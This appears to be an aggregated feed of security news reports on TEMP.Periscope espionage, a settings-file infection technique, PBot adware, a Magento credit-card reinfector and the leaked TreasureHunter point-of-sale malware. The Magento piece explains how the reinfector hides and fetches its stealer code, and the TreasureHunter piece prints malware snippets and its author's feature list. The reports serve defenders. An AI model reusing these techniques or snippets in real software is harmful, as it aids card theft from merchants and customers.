pardon himself but he’s done nothing wrong – Donald Trump’s
ABC News
China-funded national road inaugurated in
The Cambodia Daily
Kim and Trump in first summit session in
Asia Times
U.S. to suspend military exercises with South
Korea, Trump says
U.S. News
Rainsy defamed the King_ Hun Sen BREAKING NEWS
cambodia-opposition-leader-denied-bail-again-in-treason-case Associated Press

Table 2: SCANBOX articles copied to server

TEMP.Periscope Malware Suite

Analysis of the malware inventory contained on the three servers
found a classic suite of TEMP.Periscope payloads, including the
signature AIRBREAK, MURKYTOP, and HOMEFRY. In addition, FireEye’s
analysis identified new tools, EVILTECH and DADBOD (Table 3).

Malware Function Details
  • EVILTECH is a
    JavaScript sample that implements a simple RAT with support
    for uploading, downloading, and running arbitrary
  • During the infection process, EVILTECH is
    run on the system, which then causes a redirect and possibly
    the download of additional malware or connection to another
    attacker-controlled system.
DADBOD Credential
  • DADBOD is a tool
    used to steal user cookies.
  • Analysis of this
    malware is still ongoing.

Table 3: New additions to the TEMP.Periscope
malware suite

Data from Logs Strengthens Attribution to China

Our analysis of the servers and surrounding data in this latest
campaign bolsters our previous assessment that TEMP.Periscope is
likely Chinese in origin. Data from a control panel access log
indicates that operators are based in China and are operating on
computers with Chinese language settings.

A log on the server revealed IP addresses that had been used to log
in to the software used to communicate with malware on victim
machines. One of the IP addresses,, is located in
Hainan, China. Other addresses belong to virtual private servers, but
artifacts indicate that the computers used to log in all cases are
configured with Chinese language settings.

Outlook and Implications

The activity uncovered here offers new insight into TEMP.Periscope’s
activity. We were previously aware of this actor’s interest in
maritime affairs, but this compromise gives additional indications
that it will target the political system of strategically important
countries. Notably, Cambodia has served as a reliable supporter of
China’s South China Sea position in international forums such as ASEAN
and is an important partner. While Cambodia is rated as Authoritarian
by the Economist’s Democracy Index, the recent surprise upset of the
ruling party in Malaysia may motivate China to closely monitor
Cambodia’s July 29 elections.

The targeting of the election commission is particularly
significant, given the critical role it plays in facilitating voting.
There is not yet enough information to determine why the organization
was compromised – simply gathering intelligence or as part of a more
complex operation. Regardless, this incident is the most recent
example of aggressive nation-state intelligence collection on election
processes worldwide.

We expect TEMP.Periscope to continue targeting a wide range of
government and military agencies, international organizations, and
private industry. However focused this group may be on maritime
issues, several incidents underscore their broad reach, which has
included European firms doing business in Southeast Asia and the
internal affairs of littoral nations. FireEye expects TEMP.Periscope
will remain a virulent threat for those operating in the area for the
foreseeable future.

Go to Source
Author: Scott Henderson

New macro-less technique to distribute malware

One of the most common and effective infection vectors, especially for businesses, is the use of malicious Office documents. This year alone, we witnessed two zero-days for both Flash and the VBScript engine, which were first actually embedded into Office documents before gaining wider adoption in web exploit kits.

In addition to leveraging software vulnerabilities, attackers are regularly abusing normal Office features, such as macros, or more obscure ones like Dynamic Data Exchange (DDE), and of course Object Linking and Embedding (OLE) attacks, which can also be mixed with exploits. System administrators can harden endpoints by disabling certain features company-wide, for example to foil certain social engineering schemes that try to trick users to enable a malicious macro. In recent versions of Office, Microsoft is also blocking the activation of objects considered high risk, based on a list of extensions that can be customized via Group Policy.

But a recent discovery by security researcher Matt Nelson, shows that yet another infection vector can be tapped into, one that circumvents the current protection settings and even Microsoft’s new Attack Surface Reduction technology. By embedding specially-crafted settings files into an Office document, an attacker can trick a user to run malicious code without any further warning or notification.

The file format, specific to Windows 10 called, is essentially XML code that is used to create shortcuts to the Control Panel. This feature can be abused because one of its elements (DeepLink) allows for any binary with parameters to be executed. All that an attacker needs to do is add his own command using Powershell.exe or Cmd.exe. And the rest is history.

A new script found by Nick Carr shows an attack where PowerShell is invoked to download and execute a Trojan (VT report). According to Matt Nelson, who discovered this new technique, Microsoft is not going to fix it, at least for the time being.

We tested this sample in our lab and are happy to report that Malwarebytes users are already protected:

During the past few years, while there has been little development with web exploit kits, there has been a lot of activity with document exploit kits such as Microsoft Word Intruder (WMI) or Threadkit. These toolkits allow attackers to craft lures and embed the exploit(s) of their choice before either spear phishing their victims or sending the file via larger spam campaigns. At the same time, it looks like classic social engineering attacks aren’t going anywhere anytime soon and will keep capitalizing on the human element.

It is import for end users and businesses to recognize that malicious documents represent a very real threat and require adequate protection and training to fend against.

The post New macro-less technique to distribute malware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Python-Based Adware Evolves to Install Malicious Browser Extensions

Security researchers have been warning of a few newly detected variants of python-based adware that are being distributed in the wild not only to inject ads but also found installing malicious browser extensions and hidden cryptocurrency miner into victims’ computers.

Dubbed PBot, or PythonBot, the adware was first uncovered more than a year ago, but since then the malware has evolved, as its authors have been trying different money-making schemes to profit themselves, according to researchers at Kaspersky Labs.

The previous versions of the PBot malware were designed to perform man-in-the-browser (MITB) attacks to inject unwanted advertising scripts on web pages visited by the victim, but the newer variants have been found installing malicious ad extensions in the web browser.

“Developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation,” Kaspersky researchers said in their blog post published today.

“Another distinctive feature of this PBot variation is the presence of a module that updates scripts and downloads fresh browser extensions.”

The malware is usually distributed through pop-up advertisements on partner sites, which redirect users to the PBot download page, disguised as legitimate software.

Clicking anywhere on the download page eventually drops an “update.hta” file on the victim’s system, which if opened, downloads the original PBot installer from a remote command-and-control server.

During installation, the malware drops a folder with the Python 3 interpreter, some Python scripts, and a browser extension on the targeted system. After that, it uses Windows Task Scheduler to execute python scripts when the user signs into the system.

PBot consists of “several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier,” the researchers say.

If PBot finds any targeted web browsers (Chrome/Opera) installed on the victim’s system, it uses “” script to generate DLL file and then injects it into the launched browser and install the ad extension.

“The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites,” the researchers explain.

Although the malware has not been distributed across the globe, it has an alarming number of victims, the majority of which resides in Russia, Ukraine, and Kazakhstan.

“Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise,” the researchers say.

The best way to protect yourself from avoiding falling victims to such attacks is always to be vigilant while surfing the Internet, and always keep a good antivirus software installed on your computer that can detect and block such threats.

Last but not the least, always download apps from trusted sources, like Google Play Store, and stick to verified developers, and do not forget to keep both your devices and software up-to-date.

Go to Source

Magento Hackers Using Simple Evasion Trick to Reinfect Sites With Malware

Security researchers have been warning of a new trick that cybercriminals are leveraging to hide their malicious code designed to re-introduce the infection to steal confidential information from Magento based online e-commerce websites.

So, if you have already cleaned up your hacked Magento website, there are chances your website is still leaking login credentials and credit card details of your customers to hackers.

More than 250,000 online stores use open-source Magento e-commerce platform, which makes them an enticing target for hackers, and therefore the security of both your data and your customer data is of the utmost importance.

According to the researchers at Sucuri, who have previously spotted several Magento malware campaigns in the wild, cybercriminals are currently using a simple yet effective method to ensure that their malicious code is added back to a hacked website after it has been removed.

To achieve this, criminals are hiding their ‘credit card stealer reinfector’ code inside the default configuration file (config.php) of Magento website, which gets included on the main index.php and loads with every page view, eventually re-injecting the stealer code into multiple files of the website.

Since config.php file gets automatically configured while installing Magento CMS, usually it is not recommended for administrators or website owners to change the content of this file directly.

Here’s How Magento’s Reinfector Code Works


The reinfector code spotted by researchers is quite interesting as it has been written in a way that no security scanner can easily identify and detect it, as well as it hardly looks malicious for an untrained eye.

Hackers have added 54 extra lines of code in the default configuration file. Here below, I have explained the malicious reinfector code line-by-line, shown in the screenshots, written inside the default config.php file.

At line no. 27, attackers set error_reporting() function to false in an attempt to hide errors messages that could reveal the path of the malicious module to site admins.

From line no. 31 to 44, there’s a function called patch() that has been programmed to append the malicious code for stealing confidential information into legitimate Magento files.

This patch() function uses 4 arguments, values of which defines the path of a folder, name of a specific file resides in that path needs to be infected, file size required to check if it is necessary to reinfect the given file, a new file name to be created, and a remote URL from where the malicious code will be downloaded in real-time and injected into the targeted file.

From line 50 to 51, attackers have smartly split up the base64_decode() function in multiple parts in order to evade detection from security scanners.


The line 52 includes a base64 encoded value that converts to “” after getting decoded using the function defined in line 50-51.

The next four sets of variables from line 54 to 76 define the four values required to pass arguments to the patch() function mentioned above.

The last line of each set includes a random eight character value that concatenated with the link variable encoded in line 52, which eventually generates the final URL from where the patch() function will download the malicious code hosted on remote Pastebin website.

From line 78 to 81, attacker finally executes patch() function four times with different values defined in line 54-76 to reinfect website with the credit card stealer.

“As a rule of thumb, on every Magento installation where a compromise is suspected to have taken place, the /includes/config.php should be verified quickly,” researchers advise.

It should be noted that similar technique can also be used against websites based on other content management system platforms such as Joomla and WordPress to hide malicious code.

Since attackers mostly exploit known vulnerabilities to compromise websites at the very first place, users are always recommended to keep their website software and servers updated with the latest security patches.

Go to Source

TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked

The source code for a longstanding point-of-sale (PoS) malware family called TreasureHunter has been leaked on a top-tier Russian-speaking forum. Compounding the issue is the coinciding leak by the same actor of the source code for the malware’s graphical user interface builder and administrator panel.

The availability of both code bases lowers the barrier for entry for cybercriminals wishing to capitalize on the leaks to build their own variants of the PoS malware.

Point-of-sale malware has been at the root of many breaches, including massive thefts at retailers Target in 2013 and Home Depot in 2014; in each case attackers were able to extract more than 100 million payment card and customer records from point-of-sale terminals by scraping card data before it was encrypted and sent to the payment processor. Both retail giants paid tens of millions of dollars in settlements, and in Target’s case, its chief executive officer resigned his position.

Industry Collaboration on Detection and Prevention

TreasureHunter has been known and investigated since 2014, but until now investigators have had to reverse-engineer its code in order to analyze it. Now with the full code available, analysts have previously unseen insight into the malware’s operation. Flashpoint analysts, who discovered the source code leak in March, proactively collaborated with researchers at Cisco Talos, who reviewed and improved protections, and advanced-detection mechanisms, in an effort to disrupt potential copycats who may have their hands on the source code.

In the meantime, Russian-speaking cybercriminals have been observed on the vetted underground discussing improvements and weaponization of the leaked TreasureHunter source code. Notably, the original developer appears to be a Russian speaker who is proficient in English. Originally, this malware appears to have been developed for the notorious underground shop dump seller “BearsInc,” who maintained presence on various low-tier and mid-tier hacking and carding communities (below is a graphical representation of such an operation on the Deep & Dark Web). It’s unknown why the source code was leaked at this time.

A graphical representation of a typical cybercrime dump shop ecosystem.

Image 1: A graphical representation of a typical cybercrime dump shop ecosystem.

One Leak Can Spawn Many Variants

TreasureHunter behaves like many other point-of-sale malware samples. Once an attacker has access to a Windows-based server and the point-of-sale terminal, the malware is installed and it establishes persistence by creating a registry key that runs the malware at startup. It then enumerates running processes, and scans device memory looking for track data, including primary account numbers (PANs), separators, service codes, and more. It then establishes a connection with the attacker’s command and control server and sends the stolen data to the criminal.

The leak of the builder adds another dimension to the availability of the TreasureHunter payload and configurations. In the past, malware source code leaks such as the Zeus banking Trojan have spawned numerous variants, including Citadel, which cost organizations hundreds of millions in losses. PoS malware leaks have had similar effects, most notably with the 2015 leak of the Alina malware which led to the creation of the ProPoS and Katrina variants. The actor behind the TreasureHunter leak said:

“Besides alina, vskimmer and other sniffers, Treasure Hunter still sniffs ( not at a very high rate, but it still does ) and besides that , since now you have the source code, it can be update anytime for your own needs.”

For researchers, the availability of the source code opens the door into new avenues of analysis and proactive visibility into such activity on the underground. This affords organizations such as Flashpoint the ability to collaborate with others in the industry such as Cisco Talos in this case to improve existing protections and force attackers back to the drawing board.

Source-Code Level Insight

The code project appears to be called internally trhutt34C, and was written in pure C with no C++ features. It was compiled originally in Visual Studio 2013 on Windows XP. Based on analysis, researchers believe the developer intended to improve and redesign various features including anti-debugging, code structure improvement, and gate communication logic. With the goal of additional features to be improved, the developer hoped frustrate malware analysis and subsequent research; the actor left behind a note that said: “We want the malware researchers screamin’!”

A snapshot of the TreasureHunter source code.

Image 2: A snapshot of the TreasureHunter source code.

The unfinished project included continued improvement code snippets, below:

  • TO DO for the next version of the client (0.2 Beta):
    • Replace all Unicode versions of functions with ANSI versions. Now why did I ever go for wide-char in the first place?..
  • Improve the code structure:
    • Replace all the if – else constructs that are rendered needless by return commands;
    • Organize the includes;
    • Give the code proper commenting so that I am able to modify and improve it after not having seen it for some time (if such a thing happens).
    • Make scan exceptions and service codes configurable.
    • Add the following commands to the gate communication logic:
    • Download and execute for updating;
    • Remote CMD command execution;
    • Remote self-removal for emergency cases.
    • Add anti-debugging:
      • Use self-debugging by creating a child process (may be improved later by reversing the tables);
      • Improve the MD5 function and use it to find debuggers by signatures (maybe to be added in future versions);
      • Use GetTickCount to detect parts of code being stepped through (maybe to be added in a “heuristical” joint algorithm with the abovementioned);
      • Upon finding a debugger, destroy the critical section and/or start creating new threads infinitely until the application crashes.
      • Maybe also kill processes and delete debuggers and/or decompilers permanently. We want the malware researchers screamin’!
  • Add better persistency and timeouts to gate communication.
  • Add local saving of data if the gate can’t be reached for a certain period of time.
  • Add the option to run the program as a service on Windows XP.
  • Improve the code structure and add comments to avoid future confusion.
  • Add error handling and backup restart in case of crash or heap overflow (malloc fail).
  • Improve the Clingfish system (so that a clingfish thread doesn’t do the same thing as the main thread right after being spawned).
  • Debug the system information extraction mechanism further (on different OS versions).
  • Improve the track-finding algorithm to make it faster.

The stolen dump structure is as follows. The structure contains the following key elements used to collect and operate with stolen dumps, such as unique machine information and where scraped data is from:

typedef struct dumpsHolder {
TCHAR *lpFileName;
int lpFileNameLength;
int procID;
char *trackArr;
int trackArrLength;
} dumpsHolder;

The credit card process scan works in exception mode:

char *scanExceptions[SCANEXCEPTIONSNUM] = {“System32”, “SysWOW64”, “\Windows\explorer.exe”};

The malware focuses on scraping credit card track data, focusing on the following service codes:

char *serviceCodes[SERVICECODESNUM] = {“101”, “201”, “121”, “231”, “221”, “110”};

Registry persistence for autostart in HKLMMicrosoftWindowsCurrentVersionRun runs as “jucheck.”

A registry key created by the malware for persistence

Image 3: A registry key created by the malware for persistence.

The source code is consistent with the various samples that have been seen in the wild over the last few years. TreasureHunterconfig.h shows definite signs of modification over the lifespan of the malware. Early samples filled all of the configurable fields with FIELDNAME_PLACEHOLDER to be overwritten by the builder. More recent samples, and the source code, instead writes useful config values directly into the fields. This makes the samples slightly smaller and uses fresh compiles to create reconfigured files.

The post TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked appeared first on Flashpoint.

Go to Source
Author: Flashpoint